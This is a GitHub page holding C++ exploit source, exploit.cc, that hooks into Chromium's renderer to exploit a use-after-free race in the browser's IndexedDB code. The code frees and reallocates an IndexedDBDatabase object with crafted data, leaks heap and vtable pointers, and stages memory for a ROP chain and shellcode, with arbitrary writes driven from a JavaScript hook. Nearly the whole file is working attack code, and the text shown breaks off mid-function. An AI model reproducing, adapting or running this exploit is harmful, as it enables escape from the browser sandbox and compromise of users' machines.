-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathexploit.cc
More file actions
971 lines (852 loc) · 37.6 KB
/
exploit.cc
File metadata and controls
971 lines (852 loc) · 37.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
#include "content/renderer/render_thread_impl.h"
#include "content/renderer/render_frame_impl.h"
#include "content/renderer/exploit.h"
#include "base/bind.h"
#include "base/location.h"
#include "base/single_thread_task_runner.h"
#include "base/threading/thread_task_runner_handle.h"
#include "mojo/public/cpp/bindings/interface_request.h"
#include "url/origin.h"
#include "mojo/public/cpp/bindings/strong_associated_binding.h"
#include "third_party/blink/renderer/modules/indexeddb/idb_key_path.h"
#define DB_SIZE 0x148
#define TARGET_SIZE 0x150
#define OFFSET_METADATA 0x18
#define OFFSET_METADATA_ID (OFFSET_METADATA+0x18)
#define OFFSET_ACTIVE_REQUEST 0x118
#define OFFSET_PENDING_REQUESTS 0x120
#define OFFSET_PENDING_REQUESTS_BUFFER (OFFSET_PENDING_REQUESTS+0x00)
#define OFFSET_PENDING_REQUESTS_CAPACITY (OFFSET_PENDING_REQUESTS+0x08)
#define OFFSET_PENDING_REQUESTS_BEGIN (OFFSET_PENDING_REQUESTS+0x10)
#define OFFSET_PENDING_REQUESTS_END (OFFSET_PENDING_REQUESTS+0x18)
#define OFFSET_PROCESSING_PENDING 0x140
#define SLACK_SPACE 0x4000
#define OBJ_STORE_ID 123
#define NUM_KEEP_DBS 50
#define NUM_VTABLE_DBS 30
#define NUM_OBJ_STORES 20
#define NUM_ALLOC_SLACKSPACE_ATTEMPTS 80
#define MOJO_CALL_DELAY 100000
#define NAME_HELLO "db_hello"
#define NAME_HELLO2 "db_hello2"
#define NAME_REUSE "db_reuse"
#define NAME_REUSE2 "db_reuse2"
#define NAME_ROP "db_rop"
#define NAME_VTABLE "db_vtable"
// The exported function that we will call from the JavaScript hooks.
Exploit* g_exploit = nullptr;
extern "C" void exploit(std::string arg) {
if (arg.size() >= 2) {
arg = arg.substr(1, arg.size()-2);
}
if (!g_exploit) {
g_exploit = new Exploit();
}
g_exploit->RendererHook(arg);
}
class WebIDBCallbacks : public blink::mojom::blink::IDBCallbacks {
public:
WebIDBCallbacks() = default;
~WebIDBCallbacks() override {}
void Error(int32_t code, const WTF::String& message) override {}
void SuccessNamesAndVersionsList(
WTF::Vector<blink::mojom::blink::IDBNameAndVersionPtr> value) override {}
void SuccessStringList(const WTF::Vector<WTF::String>& value) override {}
void Blocked(int64_t existing_version) override {}
void UpgradeNeeded(blink::mojom::blink::IDBDatabaseAssociatedPtrInfo database,
int64_t old_version, blink::mojom::blink::IDBDataLoss data_loss,
const WTF::String& data_loss_message,
const ::blink::IDBDatabaseMetadata& db_metadata) override {}
void SuccessDatabase(
blink::mojom::blink::IDBDatabaseAssociatedPtrInfo database,
const ::blink::IDBDatabaseMetadata& metadata) override {}
void SuccessCursor(blink::mojom::blink::IDBCursorAssociatedPtrInfo cursor,
std::unique_ptr<::blink::IDBKey> key,
std::unique_ptr<::blink::IDBKey> primary_key,
base::Optional<std::unique_ptr<::blink::IDBValue>> value) override {}
void SuccessValue(blink::mojom::blink::IDBReturnValuePtr value) override {}
void SuccessArray(WTF::Vector<blink::mojom::blink::IDBReturnValuePtr> values)
override {}
void SuccessKey(std::unique_ptr<::blink::IDBKey> key) override {}
void SuccessInteger(int64_t value) override {}
void Success() override {}
};
class WebIDBCallbacksImpl : public WebIDBCallbacks {
public:
void UpgradeNeeded(blink::mojom::blink::IDBDatabaseAssociatedPtrInfo database,
int64_t old_version, blink::mojom::blink::IDBDataLoss data_loss,
const WTF::String& data_loss_message,
const ::blink::IDBDatabaseMetadata& db_metadata) override {
dbglog("EXPLOIT: Callback UpgradeNeeded\n");
if (database.is_valid()) {
g_exploit->CallbackUpgradeNeeded(std::move(database));
}
}
void SuccessDatabase(
blink::mojom::blink::IDBDatabaseAssociatedPtrInfo database,
const ::blink::IDBDatabaseMetadata& metadata) override {
dbglog("EXPLOIT: Callback Success for '%s'\n", metadata.name.Utf8().data());
if (database.is_valid()) {
g_exploit->CallbackSuccess(std::move(database));
}
}
};
/*
* Callbacks for the heap ptr leak.
*/
class WebIDBCallbacksImplReuse : public WebIDBCallbacks {
void UpgradeNeeded(blink::mojom::blink::IDBDatabaseAssociatedPtrInfo database,
int64_t old_version, blink::mojom::blink::IDBDataLoss data_loss,
const WTF::String& data_loss_message,
const ::blink::IDBDatabaseMetadata& db_metadata) override {
dbglog("EXPLOIT: Reuse Callback UpgradeNeeded\n");
if (database.is_valid()) {
g_exploit->SetReuseDb(std::move(database));
}
}
void SuccessDatabase(
blink::mojom::blink::IDBDatabaseAssociatedPtrInfo database,
const ::blink::IDBDatabaseMetadata& metadata) override {
dbglog("EXPLOIT: Reuse Callback Success for '%s'\n",
metadata.name.Utf8().data());
for (size_t i = 0; i < NUM_OBJ_STORES; i++) {
scoped_refptr<blink::IDBObjectStoreMetadata> object_store =
metadata.object_stores.at(OBJ_STORE_ID+1+i);
const char* data =
reinterpret_cast<const char*>(
object_store->key_path.GetString().Characters16());
unsigned long long leaked_ptr =
*reinterpret_cast<const unsigned long long*>(
data + OFFSET_PENDING_REQUESTS_BUFFER); // pending_requests_.buffer
if (leaked_ptr != 0) {
dbglog("EXPLOIT: Leaked ptr: 0x%llx\n", leaked_ptr);
g_exploit->leaked_ptr(leaked_ptr);
break;
} else {
dbglog("EXPLOIT: Skipping non-heap ptr value: 0x%llx\n", leaked_ptr);
}
}
}
};
// Callbacks for the vtable pointer leak.
class WebIDBCallbacksImplVTable : public WebIDBCallbacks {
void UpgradeNeeded(blink::mojom::blink::IDBDatabaseAssociatedPtrInfo database,
int64_t old_version, blink::mojom::blink::IDBDataLoss data_loss,
const WTF::String& data_loss_message,
const ::blink::IDBDatabaseMetadata& db_metadata) override {
dbglog("EXPLOIT: Vtable Callback UpgradeNeeded\n");
if (database.is_valid()) {
g_exploit->SetVTableDb(std::move(database));
}
}
void SuccessDatabase(
blink::mojom::blink::IDBDatabaseAssociatedPtrInfo database,
const ::blink::IDBDatabaseMetadata& metadata) override {
dbglog("EXPLOIT: Vtable Callback Success for '%s'\n",
metadata.name.Utf8().data());
scoped_refptr<blink::IDBObjectStoreMetadata> object_store =
metadata.object_stores.at(OBJ_STORE_ID);
const char* data =
reinterpret_cast<const char*>(
object_store->key_path.GetString().Characters16());
unsigned long long metadata_name_ptr =
*reinterpret_cast<const unsigned long long*>(data + 0x18);
dbglog("EXPLOIT: Leaked metadata_.name ptr: 0x%llx\n", metadata_name_ptr);
unsigned long long vtable_ptr =
*reinterpret_cast<const unsigned long long*>(data + 0x00);
dbglog("EXPLOIT: VTable ptr: 0x%llx\n", vtable_ptr);
if ((vtable_ptr & 0xffff000000000000) == 0xffff000000000000) {
dbglog("EXPLOIT: Invalid vtable ptr\n");
return;
}
g_exploit->vtable_ptr(vtable_ptr);
g_exploit->slack_ptr(metadata_name_ptr);
base::ThreadTaskRunnerHandle::Get()->PostTask(FROM_HERE,
base::BindOnce(&Exploit::Rop, base::Unretained(g_exploit)));
}
};
class WebIDBCallbacksImplSave : public WebIDBCallbacks {
void SuccessDatabase(
blink::mojom::blink::IDBDatabaseAssociatedPtrInfo database,
const ::blink::IDBDatabaseMetadata& metadata) override {
dbglog("EXPLOIT: Save Callback Success for '%s'\n",
metadata.name.Utf8().data());
if (database.is_valid()) {
g_exploit->SaveDb(std::move(database));
}
}
};
class WebIDBCallbacksImplRop : public WebIDBCallbacks {
void UpgradeNeeded(blink::mojom::blink::IDBDatabaseAssociatedPtrInfo database,
int64_t old_version, blink::mojom::blink::IDBDataLoss data_loss,
const WTF::String& data_loss_message,
const ::blink::IDBDatabaseMetadata& db_metadata) override {
dbglog("EXPLOIT: ROP Callback UpgradeNeeded\n");
if (database.is_valid()) {
g_exploit->SetRopDb(std::move(database));
}
}
};
blink::mojom::blink::IDBCallbacksAssociatedPtrInfo GetCallbacksProxy(
std::unique_ptr<WebIDBCallbacks> callbacks) {
blink::mojom::blink::IDBCallbacksAssociatedPtrInfo ptr_info;
auto request = mojo::MakeRequest(&ptr_info);
mojo::MakeStrongAssociatedBinding(std::move(callbacks), std::move(request),
base::ThreadTaskRunnerHandle::Get());
return ptr_info;
}
class WebIDBDatabaseCallbacksImpl final :
public blink::mojom::blink::IDBDatabaseCallbacks {
public:
WebIDBDatabaseCallbacksImpl() = default;
~WebIDBDatabaseCallbacksImpl() override = default;
void ForcedClose() override {}
void VersionChange(int64_t old_version, int64_t new_version) override {}
void Abort(int64_t transaction_id, int32_t code, const WTF::String& message)
override {}
void Complete(int64_t transaction_id) override {}
void Changes(blink::mojom::blink::IDBObserverChangesPtr changes) override {}
};
blink::mojom::blink::IDBDatabaseCallbacksAssociatedPtrInfo
GetDatabaseCallbacksProxy(std::unique_ptr<WebIDBDatabaseCallbacksImpl>
callbacks) {
blink::mojom::blink::IDBDatabaseCallbacksAssociatedPtrInfo ptr_info;
auto request = mojo::MakeRequest(&ptr_info);
mojo::MakeStrongAssociatedBinding(std::move(callbacks), std::move(request),
base::ThreadTaskRunnerHandle::Get());
return ptr_info;
}
Exploit::Exploit() {
step_ = Step::NOT_STARTED;
failed_ = false;
leaked_ptr_ = 0;
vtable_ptr_ = 0;
chrome_base_ = 0;
db_name_ = NAME_HELLO;
db_reuse_name_ = NAME_REUSE;
db_vtable_name_ = NAME_VTABLE;
db_rop_name_ = NAME_ROP;
}
Exploit::~Exploit() = default;
void Exploit::Start() {
step_ = NOT_STARTED;
failed_ = false;
if (!idb_factory_) {
content::RenderFrameImpl* frame = nullptr;
int routing_id = 0;
while(routing_id < 1000) {
frame = content::RenderFrameImpl::FromRoutingID(routing_id);
if (frame) {
break;
}
routing_id++;
}
if (!frame) {
dbglog("EXPLOIT: Frame not found\n");
return;
}
auto* interface_provider = frame->GetInterfaceProvider();
blink::mojom::blink::IDBFactoryPtrInfo idb_factory_info;
interface_provider->GetInterface(
mojo::MakeRequest(&idb_factory_info));
idb_factory_.Bind(std::move(idb_factory_info),
base::ThreadTaskRunnerHandle::Get());
}
dbglog("\nEXPLOIT: Deleting any previously created databases\n");
dbglog("-------------------------------------------------------------\n");
auto callbacks = base::WrapUnique(new WebIDBCallbacksImpl());
std::string db_names[] = {
NAME_HELLO,
NAME_HELLO2,
NAME_REUSE,
NAME_REUSE2,
NAME_ROP,
NAME_VTABLE
};
for (size_t i = 0; i < sizeof(db_names)/sizeof(std::string); i++) {
WTF::String name = db_names[i].c_str();
callbacks = base::WrapUnique(new WebIDBCallbacksImpl());
dbglog("EXPLOIT: Deleting database %s\n", db_names[i].c_str());
idb_factory_->DeleteDatabase(GetCallbacksProxy(std::move(callbacks)),
name, false);
}
for (size_t i = 0; i < NUM_KEEP_DBS; i++) {
WTF::String name = "db_keep"+WTF::String::Number(i);
callbacks = base::WrapUnique(new WebIDBCallbacksImpl());
dbglog("EXPLOIT: Deleting database %s\n", name.Ascii().data());
idb_factory_->DeleteDatabase(GetCallbacksProxy(std::move(callbacks)),
name, false);
}
base::ThreadTaskRunnerHandle::Get()->PostDelayedTask(FROM_HERE,
base::BindOnce(&Exploit::DatabaseIsClean, base::Unretained(this)),
base::TimeDelta::FromSeconds(1));
}
void Exploit::OpenDatabase(int version,
blink::mojom::blink::IDBTransactionAssociatedPtr* transaction_request,
int transaction) {
auto callbacks = base::WrapUnique(new WebIDBCallbacksImpl());
auto db_callbacks = base::WrapUnique(new WebIDBDatabaseCallbacksImpl());
auto request = mojo::MakeRequest(transaction_request);
idb_factory_->Open(GetCallbacksProxy(std::move(callbacks)),
GetDatabaseCallbacksProxy(std::move(db_callbacks)),
db_name_, version, std::move(request), transaction);
}
void Exploit::DatabaseIsClean() {
dbglog("\nEXPLOIT: Opening three databases for the UAF exploitation\n");
dbglog("-------------------------------------------------------------\n");
blink::mojom::blink::IDBTransactionAssociatedPtr transaction_request;
// We will use this database to leak a heap ptr object
auto callbacks_reuse = base::WrapUnique(new WebIDBCallbacksImplReuse());
auto db_callbacks = base::WrapUnique(new WebIDBDatabaseCallbacksImpl());
auto request = mojo::MakeRequest(&reusedb_req_);
idb_factory_->Open(GetCallbacksProxy(std::move(callbacks_reuse)),
GetDatabaseCallbacksProxy(std::move(db_callbacks)),
db_reuse_name_, 1, std::move(request), 0);
// And this one to leak a vtable ptr
auto callbacks_vtable = base::WrapUnique(new WebIDBCallbacksImplVTable());
db_callbacks = base::WrapUnique(new WebIDBDatabaseCallbacksImpl());
if (!vtabledb_req_) {
request = mojo::MakeRequest(&vtabledb_req_);
} else {
// Only bind the mojo transaction pointer on the first call
request = mojo::MakeRequest(&transaction_request);
}
idb_factory_->Open(GetCallbacksProxy(std::move(callbacks_vtable)),
GetDatabaseCallbacksProxy(std::move(db_callbacks)),
db_vtable_name_, 1, std::move(request), 0);
// The last one for the ROP
auto callbacks_rop = base::WrapUnique(new WebIDBCallbacksImplRop());
db_callbacks = base::WrapUnique(new WebIDBDatabaseCallbacksImpl());
if (!ropdb_req_) {
request = mojo::MakeRequest(&ropdb_req_);
} else {
// Only bind the mojo transaction pointer on the first call
request = mojo::MakeRequest(&transaction_request);
}
idb_factory_->Open(GetCallbacksProxy(std::move(callbacks_rop)),
GetDatabaseCallbacksProxy(std::move(db_callbacks)),
db_rop_name_, 1, std::move(request), 0);
dbglog("\nEXPLOIT: Opening a first database version\n");
dbglog("-------------------------------------------------------------\n");
// At this point we will just initialise and commit a database because if we
// don't do this AbortTransactionsForDatabase will fail
step_ = CREATING_DB;
OpenDatabase(1, &create_db_req_, 0);
}
void Exploit::RendererHook(std::string s) {
uint64_t cmd = Cmd::INVALID;
std::string arg;
dbglog("EXPLOIT: RendererHook(%s)\n", s.c_str());
if (s.size() >= 16) {
cmd = strtoull(s.substr(0,16).c_str(), NULL, 16);
arg = s.substr(16);
}
switch (cmd) {
case Cmd::CMD_SET_ROP_START: {
dbglog("EXPLOIT: Setting ROP start address\n");
if (arg.size() >= 16) {
rop_start_addr_ = strtoull(arg.substr(0,16).c_str(), NULL, 16);
} else {
dbglog("EXPLOIT: Received invalid ROP start address\n");
rop_start_addr_ = 0;
}
break;
}
case Cmd::CMD_SET_OFFSET_VTABLE: {
dbglog("EXPLOIT: Setting vtable offset\n");
if (arg.size() >= 16) {
offset_vtable_ = strtoull(arg.substr(0,16).c_str(), NULL, 16);
} else {
dbglog("EXPLOIT: Received invalid vtable offset\n");
offset_vtable_ = 0;
}
break;
}
case Cmd::CMD_WRITE8_SLACK_BASE_ALIGNED: {
dbglog("EXPLOIT: Setting aligned slack base address\n");
uint64_t offset;
if (arg.size() >= 16) {
offset = strtoull(arg.substr(0,16).c_str(), NULL, 16);
std::vector<uint64_t> op;
op.push_back(cmd);
op.push_back(offset);
renderer_ops_.push_back(std::move(op));
} else {
dbglog("EXPLOIT: Received invalid aligned slack base offset\n");
offset_vtable_ = 0;
}
break;
}
case Cmd::CMD_WRITE8:
U_FALLTHROUGH;
case Cmd::CMD_WRITE8_CHROME_BASE_PLUS_VALUE:
U_FALLTHROUGH;
case Cmd::CMD_WRITE8_SLACK_BASE_PLUS_VALUE: {
uint64_t offset;
uint64_t value;
if (arg.size() >= 16+16) {
offset = strtoull(arg.substr(0,16).c_str(), NULL, 16);
value = strtoull(arg.substr(16,16).c_str(), NULL, 16);
std::vector<uint64_t> op;
op.push_back(cmd);
op.push_back(offset);
op.push_back(value);
renderer_ops_.push_back(std::move(op));
} else {
dbglog("EXPLOIT: Received invalid offset/value to write\n");
}
break;
}
case Cmd::CMD_START: {
dbglog("EXPLOIT: Starting exploit\n");
base::ThreadTaskRunnerHandle::Get()->PostTask(FROM_HERE,
base::BindOnce(&Exploit::Start, base::Unretained(g_exploit)));
break;
}
};
}
void Exploit::CallbackUpgradeNeeded(
blink::mojom::blink::IDBDatabaseAssociatedPtrInfo db_info) {
if (failed_) {
return;
}
if (step_ != CREATING_DB) {
dbglog("EXPLOIT: step != CREATING_DB\n");
failed_ = true;
return;
}
step_ = COMMITING_DB;
dbglog("\nEXPLOIT: Commiting the first version\n");
dbglog("-------------------------------------------------------------\n");
blink::mojom::blink::IDBDatabaseAssociatedPtr database;
database.Bind(std::move(db_info), base::ThreadTaskRunnerHandle::Get());
create_db_req_->CreateObjectStore(OBJ_STORE_ID, "object_store",
blink::IDBKeyPath("key_path"), true);
create_db_req_->Commit(0);
create_db_req_.reset();
database.reset();
// Wait 1 second to be sure that the previous database is commited and closed
base::ThreadTaskRunnerHandle::Get()->PostDelayedTask(FROM_HERE,
base::BindOnce(&Exploit::OpenNewDatabases, base::Unretained(this)),
base::TimeDelta::FromSeconds(1));
}
void Exploit::OpenNewDatabases() {
if (failed_) {
return;
}
if (step_ != COMMITING_DB) {
dbglog("EXPLOIT: step != COMMITING_DB\n");
failed_ = true;
return;
}
step_ = OPEN_DBS;
dbglog("\nEXPLOIT: Opening new databases\n");
dbglog("-------------------------------------------------------------\n");
// Make a first database connection,
// so the second one will be delayed because an upgrade is needed
blink::mojom::blink::IDBTransactionAssociatedPtr transaction_request1;
blink::mojom::blink::IDBTransactionAssociatedPtr transaction_request2;
OpenDatabase(0, &transaction_request1, 0);
OpenDatabase(2, &transaction_request2, 0);
transaction_request1.reset();
transaction_request2.reset();
}
void AbortCallback(base::Closure done, blink::mojom::blink::IDBStatus status) {
dbglog("AbortCallback called\n");
done.Run();
}
void Exploit::CallbackSuccess(
blink::mojom::blink::IDBDatabaseAssociatedPtrInfo db_info) {
if (failed_) {
return;
}
if (step_ != OPEN_DBS) {
dbglog("EXPLOIT: step != OPEN_DBS\n");
failed_ = true;
return;
}
freedb_.Bind(std::move(db_info), base::ThreadTaskRunnerHandle::Get());
base::ThreadTaskRunnerHandle::Get()->PostDelayedTask(FROM_HERE,
base::BindOnce(&Exploit::TriggerBug, base::Unretained(g_exploit)),
base::TimeDelta::FromSeconds(1));
}
void Exploit::TriggerBug() {
step_ = ABORT_TRANSACTIONS;
dbglog("\nEXPLOIT: Now close the request and abort the OpenRequest\n");
dbglog("-------------------------------------------------------------\n");
// Add tasks to increase the stability of the race condition
Vector<int64_t> index_ids;
freedb_->SetIndexesReady(0, 0, index_ids);
// Close the IndexedDBConnection to free the scoped_refptr
freedb_->Close();
// Abort the OpenRequest transaction to free the unique_ptr connection
idb_factory_->AbortTransactionsForDatabase(base::BindOnce(&AbortCallback,
base::Bind(&Exploit::UseAfter, base::Unretained(this))));
// After the AbortTransactionsForDatabase call frees the IndexedDBDatabase
// object, it's important to be as fast as possible to execute the next
// step Exploit::UseAfter to reallocate the freed object.
// We use the callback of the AbortTransactionsForDatabase method to
// execute the next step once it finished and not introduce additional
// delays.
}
void Exploit::SetReuseDb(
blink::mojom::blink::IDBDatabaseAssociatedPtrInfo db_info) {
reusedb_.Bind(std::move(db_info), base::ThreadTaskRunnerHandle::Get());
reusedb_req_->CreateObjectStore(OBJ_STORE_ID, "object_store",
blink::IDBKeyPath("key_path"), true);
}
void Exploit::SetVTableDb(
blink::mojom::blink::IDBDatabaseAssociatedPtrInfo db_info) {
vtabledb_.Bind(std::move(db_info), base::ThreadTaskRunnerHandle::Get());
}
void Exploit::SetRopDb(
blink::mojom::blink::IDBDatabaseAssociatedPtrInfo db_info) {
ropdb_.Bind(std::move(db_info), base::ThreadTaskRunnerHandle::Get());
}
void Exploit::UseAfter() {
if (failed_) {
return;
}
if (step_ != ABORT_TRANSACTIONS) {
dbglog("EXPLOIT: step != ABORT_TRANSACTIONS\n");
failed_ = true;
return;
}
step_ = USE_AFTER_FREE;
dbglog("\nEXPLOIT: Reallocate our freed IndexedDBDatabase\n");
dbglog("-------------------------------------------------------------\n");
// Now reallocate the freed IndexedDBDatabase object with
// the name in the metadata to craft a fake IndexeDBDatabase
// object.
UChar* tmp = new UChar[DB_SIZE/2];
char* tmp2 = reinterpret_cast<char*>(tmp);
if (!leaked_ptr_) {
// First we need to leak the heap pointer
memset(tmp2, 0x41, DB_SIZE);
*reinterpret_cast<unsigned long long*>(
tmp2 + OFFSET_ACTIVE_REQUEST) = 0x4142434445464748; // active_request_
*reinterpret_cast<unsigned long long*>(
tmp2 + OFFSET_PENDING_REQUESTS_BUFFER) = 0; // pending_requests_.buffer
*reinterpret_cast<unsigned long long*>(
tmp2 + OFFSET_PENDING_REQUESTS_CAPACITY) = 0; // pending_requests_.capacity
*reinterpret_cast<unsigned long long*>(
tmp2 + OFFSET_PENDING_REQUESTS_BEGIN) = 0; // begin
*reinterpret_cast<unsigned long long*>(
tmp2 + OFFSET_PENDING_REQUESTS_END) = 0; // end
}
else if (!vtable_ptr_) {
// After that we need to free it
memset(tmp2, 0x44, DB_SIZE);
*reinterpret_cast<unsigned long long*>(
tmp2 + OFFSET_ACTIVE_REQUEST) = 0x3132333435363738; // active_request_
*reinterpret_cast<unsigned long long*>(
tmp2 + OFFSET_PENDING_REQUESTS_BUFFER) = leaked_ptr_; // pending_requests_.buffer
*reinterpret_cast<unsigned long long*>(
tmp2 + OFFSET_PENDING_REQUESTS_CAPACITY) = 1; // pending_requests_.capacity
*reinterpret_cast<unsigned long long*>(
tmp2 + OFFSET_PENDING_REQUESTS_BEGIN) = 0; // begin
*reinterpret_cast<unsigned long long*>(
tmp2 + OFFSET_PENDING_REQUESTS_END) = 1; // end
}
WTF::String new_name(tmp, DB_SIZE/2);
for (size_t i = 0; i < NUM_OBJ_STORES; i++) {
reusedb_req_->CreateObjectStore(OBJ_STORE_ID+1+i, "dummy",
blink::IDBKeyPath(new_name), true);
usleep(MOJO_CALL_DELAY);
}
delete[] tmp;
base::ThreadTaskRunnerHandle::Get()->PostDelayedTask(FROM_HERE,
base::BindOnce(&Exploit::LeakData, base::Unretained(g_exploit)),
base::TimeDelta::FromSeconds(1));
}
void Exploit::LeakData() {
// The first time we enter in this function, we want to leak a heap ptr
// address. The second time we want to leak the content of an object to leak
// a vtable address.
if (!leaked_ptr_) {
dbglog("\nEXPLOIT: Leak back the heap ptr address\n");
dbglog("-------------------------------------------------------------\n");
// The IndexedDBDatabase object was freed and reallocated by the name
// in the metadata by the RenameObjectStore above. Calling Open on the
// freed IndexedDBDatabase a few times now, will try to add OpenRequest
// objects to pending_requests_ of the fake IndexedDBDatabase object and
// effectively place a heap ptr into the name in the metadata, which will be
// returned to the renderer in the SuccessDatabase() callback.
//
// Calling Open repeatedly adds more and more OpenRequest objects to
// pendings_requests_, effectively growing its backing buffer. By
// controlling the number of times we call Open, we can control the size
// of the backing buffer, at which the leaked heap pointers points to.
for (size_t i = 0; i < (TARGET_SIZE/8)-6; i++) {
blink::mojom::blink::IDBTransactionAssociatedPtr transaction_request;
OpenDatabase(1, &transaction_request, 0);
transaction_request.reset();
}
// We will receive the metadata in the success callback
reusedb_req_->Commit(0);
base::ThreadTaskRunnerHandle::Get()->PostDelayedTask(FROM_HERE,
base::BindOnce(&Exploit::LeakBeforeStep2, base::Unretained(this)),
base::TimeDelta::FromSeconds(1));
} else if (!vtable_ptr_) {
dbglog("\nEXPLOIT: Leak back the VTable ptr address\n");
dbglog("-------------------------------------------------------------\n");
// Previously we set the capacity of pending_requests_ in the freed
// IndexedDBDatabase object to 1. So the next call to Open will
// reallocate the pending_requests_ queue, effectively freeing the
// leaked ptr we placed there.
dbglog("EXPLOIT: Next call to AppendRequest should free leaked ptr %llx\n",
leaked_ptr_);
blink::mojom::blink::IDBTransactionAssociatedPtr transaction_request;
OpenDatabase(1, &transaction_request, 0);
transaction_request.reset();
// Reallocate freed chunk with an IndexedDBDatabase to leak its vtable
dbglog("EXPLOIT: One of the next created IndexedDBDatabase objects should "
"reuse the memory pointed to by the leaked ptr %llx\n", leaked_ptr_);
auto callbacks = base::WrapUnique(new WebIDBCallbacksImplSave());
auto db_callbacks = base::WrapUnique(new WebIDBDatabaseCallbacksImpl());
for (size_t i = 0; i < NUM_VTABLE_DBS; i++) {
dbglog("EXPLOIT: Creating IndexedDBDatabase object %lu/%lu\n",
i, NUM_VTABLE_DBS-1);
callbacks = base::WrapUnique(new WebIDBCallbacksImplSave());
db_callbacks = base::WrapUnique(new WebIDBDatabaseCallbacksImpl());
// We use a very large name which will allocate a large chunk of memory
// for metadata_.name inside the IndexedDBDatabase object. In the next
// step we will leak this pointer when leaking the content of the
// IndexedDBDatabase and then reallocate it later to store our ROP chain
// and shellcode inside.
std::string number = std::to_string(i);
std::string name =
std::string(SLACK_SPACE/2-number.size(), 0x46) + number;
WTF::String wname = name.c_str();
blink::mojom::blink::IDBTransactionAssociatedPtr transaction_request2;
auto request2 = mojo::MakeRequest(&transaction_request2);
usleep(MOJO_CALL_DELAY);
idb_factory_->Open(GetCallbacksProxy(std::move(callbacks)),
GetDatabaseCallbacksProxy(std::move(db_callbacks)),
wname, 0, std::move(request2), 0);
}
dbglog("EXPLOIT: Calling Commit to leak vtable ptr\n");
vtabledb_req_->Commit(0); // 3. Leak it
}
}
void Exploit::LeakBeforeStep2() {
if (!leaked_ptr_) {
dbglog("EXPLOIT: We failed to leak the heap ptr :(\n");
return;
}
// Calling Open on the freed IndexedDBDatabase a few more times, will
// try to grow the pending_requests_ buffer and thus free the previously
// leaked heap ptr again, so that we now have a heap ptr to freed memory.
dbglog("EXPLOIT: Heap pointer %llx was leaked. Calling Open a few more times "
"to free the memory pointed to\n", leaked_ptr_);
for (size_t i = 0; i < 6; i++) {
blink::mojom::blink::IDBTransactionAssociatedPtr transaction_request;
OpenDatabase(1, &transaction_request, 0);
transaction_request.reset();
}
// Reallocate the 0x150 bytes freed chunk of which we leaked the
// address. Later we will free it and get back the data leaked which will
// include a vtable.
dbglog("EXPLOIT: Reallocating memory of leaked ptr %llx for now\n",
leaked_ptr_);
UChar* tmp = new UChar[TARGET_SIZE/2];
char* tmp2 = reinterpret_cast<char*>(tmp);
memset(tmp2, 0x45, TARGET_SIZE);
WTF::String name(tmp, TARGET_SIZE/2);
